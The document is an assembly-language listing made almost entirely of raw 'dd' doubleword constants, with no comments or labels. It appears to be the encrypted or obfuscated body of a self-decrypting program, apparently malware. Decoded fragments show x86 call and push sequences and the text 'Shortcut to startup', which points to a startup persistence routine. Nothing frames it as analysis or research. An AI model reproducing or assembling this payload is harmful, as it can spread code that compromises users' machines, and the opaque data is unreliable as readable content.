		dd 0E82999A4h, 0BA27F72Eh, 0C4724CD1h, 8211A7Ch, 0B0724EB6h
		dd 9BDFCF53h, 2DFF4C6Ah, 0B67BFA57h, 0E82999A4h, 0B074C2A2h
		dd 3DFB4AD6h, 0B67566C6h, 58204ADFh, 0B0724AD9h, 0EAB1104Dh
		dd 0B4561E3Fh, 0B4560EDAh, 0B0724AB8h, 20B11894h, 70F9B345h
		dd 0B8DBD73Eh, 3C144CDDh, 6FC545B5h, 347D4E1Eh,	0B07249ACh
		dd 58224AC7h, 0B0724AD5h, 0E8B1124Bh, 0B4560E3Ch, 0B4560E5Bh
		dd 0B0724A74h, 0E9B11AF6h, 6F8163C0h, 35712AC4h, 0B67565E3h
		dd 0AF03FFE2h, 33134CB2h, 0B75B0767h, 347D4A6Bh, 0B0724A81h
		dd 58214A31h, 0B0724AAEh, 0EBB111F6h, 0B45616E2h, 0B4560E34h
		dd 0B0724AC6h, 97B1192Eh, 0F01D8B63h, 0BB0ABB98h, 0A0E3FFA4h
		dd 48F84CD1h, 0B071C082h, 1DE763B5h, 0E744DFCh,	0B2726D6Dh
		dd 0B074C1B9h, 0D5B4A5Bh, 0B6756094h, 0C07ACF5Bh, 0B0184C61h
		dd 0B071A2E5h, 0E8524ADAh, 0F4FB12AEh, 0F4F34E92h, 0B0644E7Fh
		dd 0E0324AADh, 4522C815h, 0A12BD762h, 0B79A4CB2h, 77724ADAh
		dd 842049B4h, 5820492Eh, 0B0724A53h, 0C8ACFEBAh, 33809438h
		dd 4F2D1331h, 0E3722065h, 0B0724932h, 73296A6Dh, 942EC3EDh
		dd 9436CB5Fh, 0B07252A9h, 732109D6h, 13E44FF1h,	0B8F34516h
		dd 0D0724ADAh, 2C76F094h, 3513601Eh, 66F6459Bh,	0DA724AADh
		dd 0B39A1BD6h, 90724A6Bh, 392B89ECh, 31766E96h,	0AD766E29h
		dd 0F1724AB6h, 6D4B890Ah, 0AF3AED1Bh, 0F1F4C7F8h, 0B0724482h
		dd 0EB3302B5h, 6CFADC72h, 9703B0B4h, 3BEE2E5Ah,	0E74ACB95h
		dd 0BF89CBCBh, 0B0727E53h, 0B0FA456Bh, 0D6724AB5h, 0B276325Bh
		dd 56F6456Fh, 0DA724AB4h, 0B39A1A5Bh, 90724AADh, 392A898Eh
		dd 31766E2Fh, 0AA766EF1h, 0F0724ADAh, 7267893Dh, 374378ACh
		dd 88F32C92h, 357D2A31h, 0B0724A87h, 9587CF42h,	0C8F24CB2h
		dd 357DA2D8h, 0B0724A2Ch, 58204ADCh, 0B0724A58h, 0EAB1108Dh
		dd 0B4561E5Fh, 0B4560EEAh, 0B0724AACh, 4B11898h, 25918341h
		dd 139CCA5Ah, 0B60ACB3Dh, 357DE1ADh, 0B0724AC7h, 3C7D93E0h
		dd 0B0724AB1h, 0A1AF5BCh, 0B0702284h, 0B172F4B6h, 7EF20C5Ah
		dd 0B8F7C71Eh, 3A7440A6h, 2A2B592h, 7ACD4533h, 347D8A5Fh
		dd 0B0724B92h, 0ACD7CFB7h, 88F34C5Ch, 0B27077CBh, 0B04ACFD9h
		dd 0B144A6Bh, 0C8F3B970h, 0EF4F2CDCh, 96F64517h, 0DA724AB4h
		dd 0B39A1B5Bh, 90724AADh, 392B898Fh, 31766E27h,	0A7766EF1h
		dd 0F1724ADAh, 6B2B893Ch, 367D7507h, 0B0724A59h, 31149226h
		dd 0BF12D6EEh, 0B0723CEEh, 0ADE7C1B5h, 30744DCAh, 0BF9A4815h
		dd 0B0722C33h, 0E572205Bh, 0B0724945h, 732F6AD6h, 941EC336h
		dd 9436CBB1h, 0B07256DEh, 73270F6Dh, 4395B21Dh,	1EABB286h
		dd 0DCFC1FBh, 0D6744DD1h, 0B07432EAh, 80F74575h, 3B724ADAh
		dd 0B7404FF0h, 0B1D1A3B0h, 0B0184A5Bh, 0B071A2F8h, 0ED524AD6h
		dd 0DCFB17A8h, 0F4F34E91h, 0B0654EFEh, 0E5374A6Dh, 7BE2CA75h
		dd 1DFFC39Fh, 0E744D88h, 0CE734BD6h, 3D6C88EBh,	0BA024230h
		dd 0E27220DCh, 0B0724985h, 73286AB6h, 9426C301h, 9436CBA9h
		dd 0B07252D2h, 7320086Bh, 0B7EDEA70h, 47CB1DF3h, 0EB4392DFh
		dd 0B89B9A49h, 9C724A5Bh, 0F679A2E3h, 35D91F4Eh, 58F645ABh
		dd 31724AB5h, 0F7BD410Bh, 584ACA72h, 0B03CCFB9h, 6FF34A5Bh
		dd 0D30123EAh, 30A3FDD9h, 0BF014F13h, 0B0727130h, 0E9F763DAh
		dd 30744D75h, 0BF214DCEh, 0B0734ADFh, 0E67220ADh, 0B072493Eh
		dd 732C6A6Bh, 9406C3EBh, 9436CBDEh, 0B0725769h,	73240CB6h
		dd 0DD9BB908h, 4B7FC56h, 0DF94F62h, 0B6754D8Ah,	3F4ACBD3h
		dd 30F745DFh, 0DA724A6Dh, 0B39A18B6h, 90724A5Bh, 392889F7h
		dd 31766E82h, 0A4766E2Fh, 0F2724AB5h, 30208988h, 0BF1A4C15h
		dd 0B0721033h, 0E572205Bh, 0B0724945h, 732F6AD6h, 941EC336h
		dd 9436CBB1h, 0B0725EDEh, 73270F6Dh, 7FF9B2CDh,	9BB3C7D0h
		dd 31144CAAh, 958D41AEh, 0B05BCF64h, 0D6254AB5h, 0EB600260h
		dd 0B0722284h, 0E37220B6h, 0B07249B3h, 73296AADh, 942EC38Dh
		dd 9436CB6Fh, 0B0725CB1h, 732109DAh, 9B3ACD17h,	0E6722076h
		dd 0B07249B3h, 732C6AADh, 9406C388h, 9436CB6Fh,	0B0725FB1h
		dd 73240CDAh, 0BF122576h, 0B0724E3Eh, 0B8CD2C5Bh, 0E141BD1h
		dd 0D1291BC8h, 9CDBCF42h, 839B4CB2h, 58724ADAh,	0B0724A6Ah
		dd 5BE3118Eh, 48D64FFBh, 0B073F2F7h, 0B0184AD6h, 0B071A23Ch
		dd 0EF524AB5h, 0CCFB1519h, 0F4F34E49h, 0B0674E92h, 0E7354A5Bh
		dd 3035CC6Eh, 0D6E2181Ch, 0E0491DD0h, 0BACC2CD5h, 0DAE22BA1h
		dd 0B39A196Dh, 90724AB6h, 39298900h, 31766EF1h,	0AA766E92h
		dd 0F3724A6Bh, 205689E6h, 1A087B75h, 91F74B1Eh,	31744DA1h
		dd 0D86FD7A8h, 0FCFC788h, 3D7446E6h, 0BC4402E6h, 0E551F2B3h
		dd 35713DBCh, 0B6754DECh, 59B3859Dh, 734BD60Eh,	6C88EBCEh
		dd 242303Dh, 7220DCBAh,	724985E2h, 286AB6B0h, 5E98373h
		dd 8B58A4F3h, 71E91BDh,	0FC00B06h, 6084h, 0D1950B00h, 8D06072Ah
		dd 74DB4B5h, 860F5306h,	6, 8B0Fh, 0B85B0000h, 3, 14E8h
		dd 71421800h, 3F5BEE9Fh, 82C3BBCFh, 3ACF5821h, 0E4AA5541h
		dd 46B9663Ch, 0E6FF5F89h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 29C35242h, 8B6626B3h,	8D3340CAh, 6071B29h
		dd 0B589C08Bh, 6070FADh, 3101BD83h, 75000607h, 55BD8309h
		dd 6070Ah, 53501974h, 3B8C08Bh,	89000004h, 7217D85h, 599D8D06h
		dd 0FF0609B4h, 83585BD3h, 70A55BDh, 17740006h, 3B85350h
		dd 89000004h, 7217D85h,	0FA9D8D06h, 0FF0609B0h,	6A585BD3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 13F1C355h, 2BD4F58Ch, 0E58D892Eh,	6A060726h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0B76BC356h, 59850961h, 8B060733h,	56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 5FFAC78Dh, 0DA344498h, 0E9952960h, 61060726h, 0DE616160h
		dd 0D4D4712Ah
		dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h,	0F1982633h
		dd 0EF5E265Ah, 339F3A7Eh, 0FFB44E60h, 0F867A5E4h, 0A09F34DEh
		dd 2F66A3BEh, 79672039h, 0D7F5A3BAh, 0D71B2034h, 339F148Ah
		dd 831D2933h, 0C0982633h, 0AAAF9CB6h, 0D6157635h, 0AF94119Fh
		dd 0B90DD963h, 839E2130h, 35982664h, 1F152359h,	4B94118Fh
		dd 0A1DAB63h, 39E2A04h,	84CDB3CCh, 14932034h, 6AA1A23Ch
		dd 0B0152633h, 9C94118Fh, 4DAACE63h, 0F6D82633h, 645AA3BEh
		dd 24C8203Fh, 0D8AF9AB6h, 0FF677635h, 339F3882h, 1794E2B0h
		dd 41AF9AB6h, 23157635h, 5594119Fh, 0C40DD963h,	3D9E2130h
		dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh
		dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h,	35B2CF3Bh
		dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h
		dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch,	4EC3D9CCh
		dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch
		dd 88152637h, 9C941199h, 7547ABBEh, 9320203Fh, 78000000h
		dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh,	0B58DFFFFh
		dd 60C38DFh, 38FE8D8Dh,	0CF2B060Ch, 8B05E983h, 7E8C8h
		dd 0B4A60000h, 0A658525Fh, 0FFB70F32h, 8166535Eh, 5F2909D7h
		dd 5946C681h, 8B510000h, 71B1995h, 0B8B85F06h, 8126D597h
		dd 0D581A4F0h, 6860F26h, 8B000000h, 71001BDh, 0F536FF06h
		dd 41BD8959h, 81060702h, 8BA974F1h, 81D08B6Bh, 5C1005C1h
		dd 6E828h, 0BD350000h, 9C7D32AEh, 117D9D8Bh, 815F0607h
		dd 59E8C0E9h, 8E951h, 53FA0000h, 4D5F5564h, 0E951E515h
		dd 5, 887D86B1h, 0E8068FCDh, 14h, 0B49C66C3h, 0D8B6A48Dh
		dd 3EA6CCFDh, 179C7738h, 0AE829ED7h, 735958Bh, 835F0607h
		dd 858901EEh, 607307Dh,	0E84E4E4Eh, 0Eh, 55832B97h, 938C11E4h
		dd 0B21D4FCFh, 8B662DB8h, 0E8815BDEh, 1, 0FF67850Fh, 5E9FFFFh
		dd 0AD000000h, 0EBCBB5E5h, 50335820h, 13331C8h,	0C26A1210h
		dd 257FBB51h, 2577B300h, 1332E06h, 0C2627301h, 0BB9B5DF9h
		dd 0EA5E2B82h, 0FC86B9DCh, 8A353506h, 6184BB5h,	0D9BF5402h
		dd 0E9623268h, 1333202h, 58F06BA0h, 5177EC9h, 51776A1h
		dd 1333208h, 0CCF06349h, 957BD41Dh, 853C36AAh, 13333E1h
		dd 0B92AFB1h, 0BCB03447h, 7341B6Dh, 20B73D10h, 8A333208h
		dd 610AFB9h, 0F1DB04h, 0ADA3201h, 0A5333280h, 32517371h
		dd 1B4E4A03h, 9CB861D3h, 734322Dh, 4DA6454h, 97333202h
		dd 0EFCC9CE1h, 2537BBDEh, 0E965322Ah, 1333223h,	5FF06C30h
		dd 5174681h, 5177685h, 1333214h, 0C7F06447h, 80554A82h
		dd 0EE9EB8Bh, 0FF177E21h, 135B71Fh, 9CBA3208h, 7340389h
		dd 5633585Ah, 13331E9h,	0C26C1280h, 254FBB1Fh, 2577B324h
		dd 1332614h, 0C2647508h, 0D886033Dh, 82353502h,	1591EC1h
		dd 130DAD2h, 5B133240h,	55BA68E3h, 45B23634h, 12A362Ch
		dd 53713204h, 7C4B11C1h, 8060F11Bh, 0B2E6764Fh,	0CA728956h
		dd 9B876F3h, 0E961327Ah, 133320Bh, 5BF06824h, 517668Bh
		dd 5177680h, 1333298h, 57F06002h, 0FDF90A9Bh, 131BE1Fh
		dd 0DBB83208h, 4BBEF7BFh, 49B85443h, 1C86BBFDh,	67353586h
		dd 0FE050BC1h, 141B62Fh, 0C0B03210h, 0E80AB201h, 1F5B70Bh
		dd 8A553202h, 72B9FBh, 0E96032EAh, 1333243h, 5AF06900h
		dd 5176E99h, 5177689h, 1333213h, 6DF06141h, 80F3F2D5h
		dd 0C3E7C85Fh, 82FB315Dh, 0BCB837E1h, 7342075h,	4AA30B89h
		dd 843CB947h, 1333286h,	12BB30Eh, 11DB3280h, 0A7333240h
		dd 1DF87AC3h, 7973CCE8h, 0FA54F578h, 5715F484h,	8CBA6C5Ch
		dd 7341384h, 4C87BF0Dh,	1593447h, 130DA76h, 5F133210h
		dd 75BA6CCBh, 45B23620h, 1283626h, 57753201h, 11749343h
		dd 0F605A8B9h, 121DB8Bh, 1F0F3210h, 0A70D5E03h,	0C130D5CCh
		dd 151294DBh, 0E17403F3h, 1333138h, 64AE0340h, 0FE353530h
		dd 13DDBF1h, 0DDDB3208h, 0FAECC7BDh, 253C3ADAh,	0A990E778h
		dd 573358E1h, 13331A8h,	0C26D1220h, 2547BB4Eh, 2577B30Ch
		dd 1332900h, 0C2657402h, 5EE83D04h, 0BAA9EE33h,	135BC4Fh
		dd 0B43A3220h, 7341DE5h, 38EC8F85h, 8CBE3408h, 73F0E65h
		dd 93B046B9h, 0C8B60181h, 2A353559h, 3DAF3EFh, 50335820h
		dd 13331C8h, 0C26A1210h, 257FBB51h, 2577B300h, 1332E06h
		dd 0F305E983h, 33C08BA4h, 71B3D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 35A7D9F3h
		dd 0E389D4C3h, 0C38B15D5h, 3D4D8D8Dh, 6A060Ch, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FC847C3h, 118Ah, 0CE900h, 68930000h, 0D84C6147h, 91A609C3h
		dd 13E9BE08h, 90000000h, 5F710269h, 8D607489h, 0EC3FC298h
		dd 84429DDCh, 8D899629h, 6071B41h, 336D9D89h, 9D8B0607h
		dd 6072A69h, 60585C7h, 6FEC0607h, 0C7F50000h, 7006985h
		dd 6, 0CDBD8B00h, 0FF06070Ah, 70BA5B5h,	0FFFC8A06h, 701E195h
		dd 0C1958906h, 6A06070Fh, 195FF00h, 8B060732h, 8E18EBC0h
		dd 8C5F4E4Dh, 0D72BAB61h, 0BBA40052h, 3647D786h, 306FD9Ah
		dd 8DE364D1h, 0C3E2A8Dh, 10E806h, 5620000h, 0B987E1EEh
		dd 0BF82E93Eh, 0B665E7FAh, 8B0F8EBFh, 6, 18B1958Bh, 895E0607h
		dd 71B418Dh, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 60D564D3h, 0AB19A824h, 9E97D43h
		dd 11000000h, 0BED63E1Ch, 84C446BFh, 3800Fh, 0B70F0000h
		dd 585C7F9h, 0FC060706h, 8B00005Ch, 0C7D88BC3h,	7006985h
		dd 6, 0B5896000h, 6071F71h, 0FF619BB0h,	70BA5B5h, 0E195FF06h
		dd 6A060701h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 43F4C355h, 0F94E3F54h,	95FF006Ah
		dd 6073201h, 18EBC08Bh,	0EF1784A0h, 0FC396437h,	0A92AB12Ch
		dd 995E555Dh, 75D54383h, 0BA0C54D2h, 9E8h, 0F6125D00h
		dd 0D54C4C35h, 0CE9D2D8h, 66000000h, 821518F8h,	747AC333h
		dd 5B9A741Bh, 258EA2BAh, 5BC38176h, 80000065h, 28681DF2h
		dd 0F000019h, 285h, 58C88B00h, 8B33FFF9h, 725A995h, 9D895E06h
		dd 6071175h, 0A29BF681h, 0BD3179ABh, 6070B21h, 4C66EE81h
		dd 8B5077CDh, 71C59BDh,	0C6815A06h, 5E8FCF64h, 1E5D8D8Bh
		dd 66560607h, 5684E181h, 8B0F038Fh, 2, 0EB83D8B2h, 48F38A04h
		dd 1D850Fh, 81660000h, 0E9AEC7F2h, 2Ch,	87E2644Ah, 910CC1A0h
		dd 658103B6h, 71E0FFA0h, 80273A2Dh, 8AE93DF1h, 55FFFFFFh
		dd 81234A37h, 0C691BC85h, 3481D0E5h, 0D16F58C1h, 7E8h
		dd 87116100h, 6FCBE9E9h, 5E9h, 2E08A100h, 8B5E8760h, 715A59Dh
		dd 16C68106h, 66000068h, 68BD59BBh, 0
		dd 2BB1858Bh, 665F0607h, 0D967D081h, 893E0C8Bh,	7296D85h
		dd 0CDC18106h, 600BA3F5h, 221DBD8Bh, 0CE810607h, 2A8851E6h
		dd 34C18161h, 0E91EDAB4h, 0Ch, 0E3B8A8BDh, 0D30243FAh
		dd 50BB6E1Dh, 0B8EDE981h, 8D2925B3h, 6070F59h, 0D38B6651h
		dd 0F3E048Fh, 88Ch, 9D335300h, 6070BB9h, 3EEF815Bh, 8B3767E8h
		dd 7213185h, 3AC78106h,	293767E8h, 719A98Dh, 0CCFF8106h
		dd 0FFFFF98h, 1985h, 0F28B6000h, 0B5573BBBh, 2CE96178h
		dd 60000000h, 0EDB9244Fh, 397D517Ch, 8C0F85BBh,	9, 6DBD0160h
		dd 0FC06071Ah, 0FF5AE961h, 5518FFFFh, 5BE0C92Bh, 7101F939h
		dd 8DF3C99Ch, 726CD9Dh,	39B806h, 85890000h, 607018Dh, 0E8h
		dd 0D055800h, 89000000h, 39E903h, 0
		dd 0Dh dup(77E6h), 0E8FF77E6h, 0Ch, 0A9C94280h,	51C64572h
		dd 8A60FB07h, 9E96060h,	68000000h, 0C829CEEEh, 857B9010h
		dd 8D62CCBAh, 56B96110h, 610ADA29h, 43F7815Ah, 813540BFh
		dd 6E3EC2h, 0F98B6600h,	1B69BBh, 8D0F6000h, 2, 0B70FF18Bh
		dd 0A8B61C7h, 1880Fh, 81F80000h, 3A9707C1h, 5E957h, 452C0000h
		dd 8168FE50h, 16B957F1h, 800F2Ch, 81000000h, 8C5E80C1h
		dd 0EBB86669h, 0F0A89ACh, 0EA81C2B7h, 18139BCEh, 9BBA7FBEh
		dd 0CAC28121h, 6618139Bh, 0DEC8E781h, 0AF850F4Bh, 66FFFFFFh
		dd 6CEBF18Bh, 726F6853h, 74756374h, 206F7420h, 72617473h
		dd 707574h, 14h	dup(0)
		dd 3716DC22h, 1, 0F8DE9h, 43176800h, 0B8E9060Ch, 68FFFC02h
		dd 60C441Bh, 0FC02AEE9h, 45C668FFh, 0A4E9060Ch,	68FFFC02h
		dd 60C4611h, 0FC029AE9h, 46AA68FFh, 90E9060Ch, 68FFFC02h
		dd 60C4753h, 0FC0286E9h, 4BE068FFh, 7CE9060Ch, 68FFFC02h
		dd 60C4E20h, 0FC0272E9h, 4F2768FFh, 68E9060Ch, 1FFFFC02h
		dd 0C050E55Fh, 0A2BE0783h, 311A626h, 0E371C646h, 0C5D364E0h
		dd 0ED696A09h, 118DC848h, 0B236ACACh, 0D74D0F0Dh, 18FC406Eh
		dd 6C2BFD51h, 0A3623E2Fh, 0BC6A13C7h, 29146A27h, 4383E178h
		dd 45B828F4h, 932399DBh, 0D0540DCFh, 0E6728566h, 51D768E4h
		dd 6B3E9CA0h, 1C07B42h,	0C15BD32Bh, 0CBF257D9h,	8155B548h
		dd 682E23FFh, 22269083h, 6C20459Fh, 225CBE52h, 0B1C453A6h
		dd 3C58AE77h, 45F77Ah, 0C9550000h, 86372B38h, 0F86A27BCh
		dd 0C218827Dh, 7D520787h, 0B390FB99h, 8559B144h, 682EDCC7h
		dd 6AEE58DBh, 6C20A847h, 0CA6A0D8Ah, 19D693A7h,	0DB47BDD3h
		dd 20287607h, 0EA0D086Ch, 3BEFAF76h, 0C7F67Ah, 0A35A0000h
		dd 0BC6A13C7h, 29146A27h, 8C084AD6h, 2BA72022h,	5F9712B7h
		dd 2DE87D8Dh, 9A401CCAh, 0DBEE58DCh, 48EBEF49h,	5EA11C17h
		dd 0BA0480C2h, 1DA21E58h, 271CA939h, 0F6726C6Ah, 7A91D341h
		dd 0B27CFF7Fh, 31A9AB44h, 134DA82Bh, 1F491A95h,	45FAC547h
		dd 0ABAF43B6h, 682E8DB9h, 53D56AD5h, 0DA009A9Eh, 1D91C98h
		dd 272E7EDDh, 0A139246Eh, 0D85417C5h, 70738D6Eh, 0D49701F4h
		dd 433EBA39h, 0E15D1EFAh, 5D75AD37h, 1AE4AA81h,	0D18h
		dd 0AD128ACAh, 0BAC28AFh, 6AD34909h, 0CA73EBEEh, 2C910D4Eh
		dd 94D7B4A8h, 38B5A718h, 5B19FBBCh, 0FEF858DDh,	11EDBD02h
		dd 2BFFBCCDh, 0C745C26Ch, 9126A2DDh, 0F24BC183h, 3438C926h
		dd 0C238B2A6h, 69F3682Eh, 56D2906Fh, 3E880BE8h,	0A527A3BDh
		dd 9CA75A19h, 8C3115A1h, 416C20B6h, 9C65A3D6h, 0E97A3B65h
		dd 0D5h, 25A3DD2Bh, 0A95210B5h,	0A9FA7671h, 12E509B5h
		dd 0F97576D4h, 7279C94Dh, 0C2BC6A27h, 6163F146h, 0D34ECE8Ah
		dd 903D3A4Fh, 0C2B38EBBh, 97730F3Fh, 27B33A43h,	26D9446Ah
		dd 0D34FD1AEh, 2EEFC50Fh, 89CFA968h, 532F9013h,	0C951CF89h
		dd 20986415h, 0E41F1A6Ch, 991936Ch, 0AA1490D3h,	78D436C9h
		dd 0C78A5955h, 0A6590E25h, 274F6A3Ch, 27ACC16Eh, 8234BD11h
		dd 0EF5FDD95h, 5B6E910Ch, 0DF4339B9h, 2993723Bh, 96110C6Ah
		dd 1995D604h, 0BF3BB4A4h, 5CAF5D6Dh, 0F6883681h, 0C14h
		dd 0A90E86C6h, 17A82CABh, 76CF4D05h, 0D66FEFEAh, 288D094Ah
		dd 90D3B0ACh, 34B1A314h, 5F1507B8h, 0FAF464D9h,	15E9B97Eh
		dd 2BF8B8C1h, 0CB49C66Ch, 9126A2DDh, 0F24BC183h, 25A3DD26h
		dd 4339BB99h, 0C2463DDFh, 710E063Fh, 71EF73EFh,	0CA682EE9h
		dd 3B26B1A7h, 41B47C00h, 0D733837Eh, 6C20E8A2h,	4EF87C75h
		dd 0A71793CCh, 81367910h, 19D79A7Dh, 7A3BAFD8h,	1AADh
		dd 61F55100h, 6C20E458h, 14C03B26h, 877A1h, 0CCACC100h
		dd 9E705448h, 0C909CB2Eh, 0B2A63438h, 682EE9DCh, 2B299580h
		dd 8E8A33A9h, 10CA50CCh, 896AD450h, 175CB876h, 0FB0F6CEBh
		dd 0CD8F5164h, 7072EE57h, 0B8CE4AF4h, 0D80B64ADh, 7AD66E01h
		dd 0AD337A9Eh, 0D24D0B64h, 64AD8930h, 0F104F70Bh, 0CB8E6567h
		dd 8500E353h, 0C7BC5E30h, 9A24A022h, 399B5ED9h,	0E975C1BFh
		dd 48F67673h, 50C250ABh, 0C4E0B5BDh, 508A2A4Dh,	0F4609B17h
		dd 5BB97EFAh, 2513A319h, 7A03D74Ch, 4F49B52h, 0D83C9E19h
		dd 0F692227Ah, 0F8922B16h, 4DB1F81Ch, 4CCFF29Ch, 0E87247A9h
		dd 57851517h, 86649F15h, 95217052h, 99211CF0h, 0AB762185h
		dd 2D2FC03Eh, 0AC28AFADh, 7C9E6102h, 82EDBA98h,	0F76BD628h
		dd 14EF6D65h, 91936CDAh, 0C418AD09h, 1F9DDB75h,	5087CCAFh
		dd 0A929CCDDh, 2E899FE6h, 0A1CA4F84h, 563B9090h, 0DB9547DBh
		dd 5E1FFD5Dh, 508458E6h, 2A86AA29h, 9669E457h, 1D5FBD51h
		dd 0C65417A7h, 86AA6B12h, 0D72A152Ah, 438D0B45h, 0C1EF9695h
		dd 69DAA46Ah, 1B00000Ah, 0FC5CE15Bh, 5EBA0387h,	3F1DA21Ah
		dd 9F7DC2BAh, 0F9DF60DCh, 0E9656605h, 0D89C454h, 0AE2AA8A8h
		dd 0D3490B09h, 1CC05C6Ah, 6C2BF96Dh, 0A3963213h, 356A38B9h
		dd 66BF33A9h, 930DF073h, 55895BD1h, 6814EE9h, 0A1E8658h
		dd 90CC0000h, 32B1A314h, 571301B6h, 0F1F060D5h,	1750C075h
		dd 0BAB2229Bh, 9D229ED9h, 0F1463EBFh, 5EE76563h, 0B30480C2h
		dd 0A2CB0F13h, 0DC6C2BFAh, 0A3DDD173h, 0BC97263Ah, 0B8E96A27h
		dd 87AF3345h, 0AC48CBA2h, 8C3AB531h, 0EC51CD8Eh, 58293104h
		dd 0B09246D4h, 0DC682E50h, 0F745D961h, 36ADB28Eh, 0B7AB3739h
		dd 0AF94256Dh, 0C96B3D6h, 935A9FCCh, 6CDA4568h,	9F0305FAh
		dd 1E9AD903h, 5FA87FDBh, 2ECAA99Fh, 25B530ACh, 863FB537h
		dd 0B05CD89Ah, 49058C58h, 85B749F1h, 77000009h,	0D838FD77h
		dd 0BAA61F9Bh, 1BF9BE3Eh, 0FB59DE5Eh, 0DDBB7CF8h, 85014221h
		dd 29A52030h, 4ACE8494h, 0EF6567F5h, 70E47856h,	6C2BFA49h
		dd 0DD7AD637h, 0A5203AA3h, 0BCA0C929h, 63DE6A27h, 0FEF456E0h
		dd 7D7AE07Ah, 5B9DA8F9h, 5B19A707h, 0A2EB6FA0h,	616A2784h
		dd 0B20E8C90h, 9237E81Fh, 93477692h, 6A27E5EAh,	0CB2EA994h
		dd 23A2EF4Fh, 0DA40B368h, 3B4931B7h, 6661C54Ch,	76946FEAh
		dd 0C96EEAE4h, 2393094Bh, 49FCA621h, 0AD443353h, 11ED6DE8h
		dd 2B19BCCDh, 0AC57C26Ch, 66E2E062h, 5B255CBAh,	0A739E187h
		dd 8DCh, 0E156CE8Eh, 4FF07473h,	0AE1795CDh, 0EB737B2h
		dd 60D55112h, 0D89BF874h, 7C79DB5Ch, 0A7DD3F80h, 0C2BC9C21h
		dd 4DD1F146h, 2BFBE089h, 13B19E6Ch, 9925A3DDh, 0F34339BBh
		dd 548A2DA4h, 23199E1Ah, 74345BE2h, 0DFEE72CEh,	0A16A27B0h
		dd 9C1F95D7h, 72850140h, 56FF5h, 0B9A35700h, 2EA4403Ch
		dd 0A45F1CAAh, 49D1532Ch, 23FB3595h, 6CEE6968h,	78913490h
		dd 7D5AFE71h, 0EDC3EA08h, 42BD6C2Bh, 25A3DDBFh,	0F862FE90h
		dd 0D6E703FFh, 0A86C2BEDh, 28DA4AADh, 228C0845h, 9C78C641h
		dd 58871B4h, 4CFA7671h,	0A5118DCEh, 7DC2F588h, 9D5B1EF9h
		dd 0F3949D54h, 4311h, 480FCD00h, 0C9EF29CCh, 6C67E53Bh
		dd 0B2E14CDh, 273EA6D7h, 0E25DD86Ah, 5667FB67h,	286A273Eh
		dd 0B485812Dh, 794A8F98h, 0D41DDB9Eh, 0FC949C3Fh, 7FA2F9A9h
		dd 0CF773BBh, 783h, 77A14100h, 0FF000002h, 6A13C7A3h, 146A27BCh
		dd 0A15ED629h, 0E7DF039Fh, 8B6823FBh, 94DA3E88h, 2A6C2BFDh
		dd 8D62A8CBh, 0DFBB178Bh, 2BFD723Bh, 40110C6Ch,	13940DCCh
		dd 0AE34CF24h, 6E2F8C56h, 6E83E93Ah, 69F8B981h,	88CB49EEh
		dd 71BECF13h, 4AC06A27h, 2771E796h, 239E996Ah, 0BB3416A0h
		dd 718D3C20h, 1FF36A27h, 2771B2FBh, 0D651CC6Ah,	0BF46EB5Bh
		dd 1D99DAFCh, 413DB898h, 0DE5617F5h, 77F7F250h,	890F45C7h
		dd 4A6DF03Dh, 0F3E56123h, 1E994195h, 0B1670AEDh, 1307B834h
		dd 6A279960h, 0A4B825A3h, 6A279915h, 0C86DE86Bh, 24920E48h
		dd 333BC966h, 0FB7372EEh, 1C98D547h, 0EB8375FFh, 0D04C0FEEh
		dd 0BC0A8566h, 129C185Eh, 0BACCF84h, 4706D4B6h,	0AAD34CFh
		dd 345C05CCh, 0AD2F2D74h, 8E48737h, 0BA2BCE4Ah,	3E8h, 0DD38BAA0h
		dd 0D69521A7h, 0DD74A05Bh, 73B1F0A2h, 33357F23h, 0E07A06B0h
		dd 2886B2E0h, 0CB3E67F2h, 0B643B548h, 0F5413DB8h
		dd 6AD45017h, 0A0175AB9h, 9CFE279h, 0EF6DD24Eh,	31AB70ECh
		dd 0FA238B4h, 0B3529F08h, 660029DBh, 30557286h,	35E942B5h
		dd 7E799FD2h, 94751882h, 6CE8E5A1h, 0D33A9F27h,	0C336B231h
		dd 335E730Fh, 4A8CB187h, 7D7FD91Ch, 80C11B87h, 0C639BA04h
		dd 0A17A0C08h, 31C46A27h, 0AB83267Eh, 40438907h, 0F57882D7h
		dd 830ECFE4h, 79E29C78h, 27DED4E5h, 2CAFAA6Ah, 59E81BAEh
		dd 6C613E4Ah, 8EC45489h, 1658BC0Ah, 0C36A27E8h,	5BB90587h
		dd 982E981Ch, 0DB0FB0C3h, 29AF7104h, 0D080AB3h,	0AB6A2794h
		dd 34B78F51h, 0FEF3D674h, 0DD3AFFFFh, 809025A3h, 18FC4AC6h
		dd 6A27BC56h, 0B46A0DE8h, 1BF9BE3Ah, 1AF80A58h,	766AB864h
		dd 12B74BFBh, 0A275D6CFh, 62DA9F57h, 789417D4h,	9B7F827Eh
		dd 9A7A20A9h, 10CEE176h, 44A835D1h, 7D94h, 0B9A37400h
		dd 0F2BB5F3Ch, 8C6A27BCh, 0CBA81691h, 0BDBFB030h, 0FB3939DDh
		dd 8B556823h, 63D34ECEh, 80047D9Fh, 1D5BB536h, 0A94C2F9Fh
		dd 2BFD8329h, 1DB04C6Ch, 0AC2B932Dh, 0E67D8012h, 5CC15D3h
		dd 31997A41h, 7B000000h, 413FB9A3h, 178376F5h, 6A27C1D6h
